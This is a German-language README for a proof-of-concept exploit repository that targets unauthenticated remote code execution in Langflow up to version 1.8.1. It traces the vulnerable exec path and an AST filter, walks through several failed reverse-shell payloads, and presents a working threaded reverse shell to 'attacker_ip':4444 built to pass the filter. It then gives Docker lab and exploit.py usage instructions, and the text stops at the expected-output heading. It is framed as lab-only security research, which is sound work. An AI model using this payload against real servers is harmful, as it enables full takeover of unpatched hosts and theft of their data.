
PoC-Exploit für eine nicht authentifizierte RCE in Langflow <=1.8.1, einschließlich Root-Cause-Analyse auf Quellcode-Ebene, AST-bewusstem Reverse-Shell-Payload, Docker-Lab, Patch-Diff und Erkennungsregeln.
Haftungsausschluss
Dieses Repository wurde für Sicherheitsforschung und Bildungszwecke erstellt.
Es darf nur in isolierten Testumgebungen verwendet werden.
Die Verwendung gegen nicht autorisierte Systeme ist eine Straftat und wird nach dem koreanischen Informations- und Kommunikationsnetzgesetz strafrechtlich verfolgt.
| Punkt | Inhalt |
|---|---|
| CVE-ID | CVE-2026-33017 |
| Betroffene Software | Langflow (KI-Workflow-Builder) |
| Betroffene Versionen | Langflow ≤ 1.8.1 |
| Patch-Version | Langflow ≥ 1.9.0 |
| Schwachstellentyp | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Fehlende Authentifizierung für kritische Funktion) |
| CVSS | 9.3 (Kritisch) |
| CISA KEV | Gelistet |
POST /api/v1/build_public_tmp/{flow_id}/flow
Dies ist ein Endpunkt zum Erstellen öffentlicher Flows, der dafür ausgelegt ist, ohne Authentifizierung erreichbar zu sein.
Der durch direkte Quellcode-Verfolgung bestätigte Ausführungspfad:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← Empfängt die Client-Eingabe unverändert (Schwachstelle)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← Reicht die Client-Daten unverändert weiter
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← Beliebige Codeausführung
Die Funktion prepare_global_scope() führt nicht alle Anweisungen des eingereichten Codes aus.
Nach dem AST-Parsing werden nur bestimmte Knotentypen selektiert und ausgeführt:
# lfx/custom/validate.py — innerhalb von prepare_global_scope()
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr-Knoten sind in keiner Liste enthalten → werden nicht ausgeführt
exec(compiled_code, exec_globals) # nur definitions werden ausgeführt
Ausführbare AST-Knotentypen:
| AST-Knotentyp | Beispiel | Ausführung |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ Wird ausgeführt |
ClassDef | class ExploitComponent(Component) | ✅ Wird ausgeführt |
Assign | _r = os.system("id") | ✅ Wird ausgeführt |
AnnAssign | _r: int = os.system("id") | ✅ Wird ausgeführt |
Expr | os.system("id") (einzeln aufgerufen) | ❌ Wird ignoriert |
Fazit: Der Payload muss zwingend in Form einer
Assign-Zuweisung (_r = ...) verfasst sein, damit er ausgeführt wird.
Ein einfacher Funktionsaufruf (os.system("id")) wird alsExpr-Knoten klassifiziert und vom Filter aussortiert.
Im Rahmen der Übung wurden mehrere Payload-Ansätze versucht; die jeweilige Fehlerursache wurde auf Quellcode-Ebene untersucht.
subprocess.Popen + wait() (fehlgeschlagen)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← blockiert hier
Fehlerursache: Der Langflow-Worker-Thread überwacht den Rückgabewert der Komponente und
schließt den Socket bei einem Timeout gewaltsam. Dadurch wird das Blockieren von _proc.wait() bedeutungslos.
os.execve() (fehlgeschlagen)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
Fehlerursache: Gemäß POSIX-Regeln werden beim Aufruf von execve() in einem Multithread-Prozess
alle Threads außer dem aufrufenden Thread beendet → der gesamte uvicorn-Worker stürzt ab → HTTP 500.
os.fork() + execve() (fehlgeschlagen)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
Fehlerursache: uvicorn erkennt den Kindprozess als abnormalen Beendigungszustand und
startet den Worker neu → HTTP 500.
threading.Thread(daemon=True) (fehlgeschlagen)threading.Thread(target=_shell, daemon=True).start()
Fehlerursache: Ein Thread mit daemon=True wird beim Beenden des Hauptthreads (Langflow-Worker)
mit vernichtet. Der Thread stirbt bereits vor dem connect()-Versuch.
threading.Thread(daemon=False) + Assign# FunctionDef → wird ausgeführt
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → wird ausgeführt (ein einzelner Expr-Aufruf wird vom Filter ausgeschlossen, daher zwingend Variablenzuweisung)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
Begründung für die Wahl von daemon=False:
daemon=True → wird zusammen mit dem Langflow-Worker-Thread beendetdaemon=False → unabhängiger Lebenszyklus vom Worker → Socket-Verbindung bleibt erhaltenCVE-2026-33017/
├── README.md
├── Dockerfile # Anfällige Langflow-1.8.1-Umgebung
├── Dockerfile.attacker # Angreifer-Container (enthält curl, nc, net-tools)
├── docker-compose.yml # Anfälliger Server + Angreifer-Container
├── entrypoint.sh # Startet Langflow und erstellt öffentlichen Flow automatisch
├── exploit.py # Reverse-Shell-PoC
└── poc.py # Blind-RCE-/Schwachstellenprüfung
# 1. Container bauen und starten
docker compose up --build
# 2. Zugriff auf die Langflow-Web-UI prüfen
# http://localhost:7860
# admin / admin123!
# 3. Container-IPs ermitteln
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker-Bridge-Netzwerk: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (Opfer) │
│ langflow-attacker 172.19.0.3 (Angreifer)│
└──────────────────────────────────────────────────┘
Im Angreifer-Container ausführen:
docker exec -it langflow-attacker bash
# Automatikmodus (Token-Ausstellung + Erstellung öffentlicher Flow + integrierter Listener)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
Optionen:
| Option | Beschreibung | Standardwert |
|---|---|---|
--url | Ziel-Langflow-URL | Pflichtfeld |
--lhost | Reverse-Shell-Callback-IP | Pflichtfeld |
--lport | Reverse-Shell-Callback-Port | Pflichtfeld |
--flow-id | UUID des öffentlichen Flows (wird bei Weglassen automatisch erstellt) | automatisch |
--user | Administrator-ID | admin |
--password | Administrator-Passwort | admin123! |
--no-listen | Integrierten Listener deaktivieren (bei Verwendung von externem nc) | False |
--timeout | HTTP-Timeout (Sekunden) | 30 |
Erwartete Ausgabe: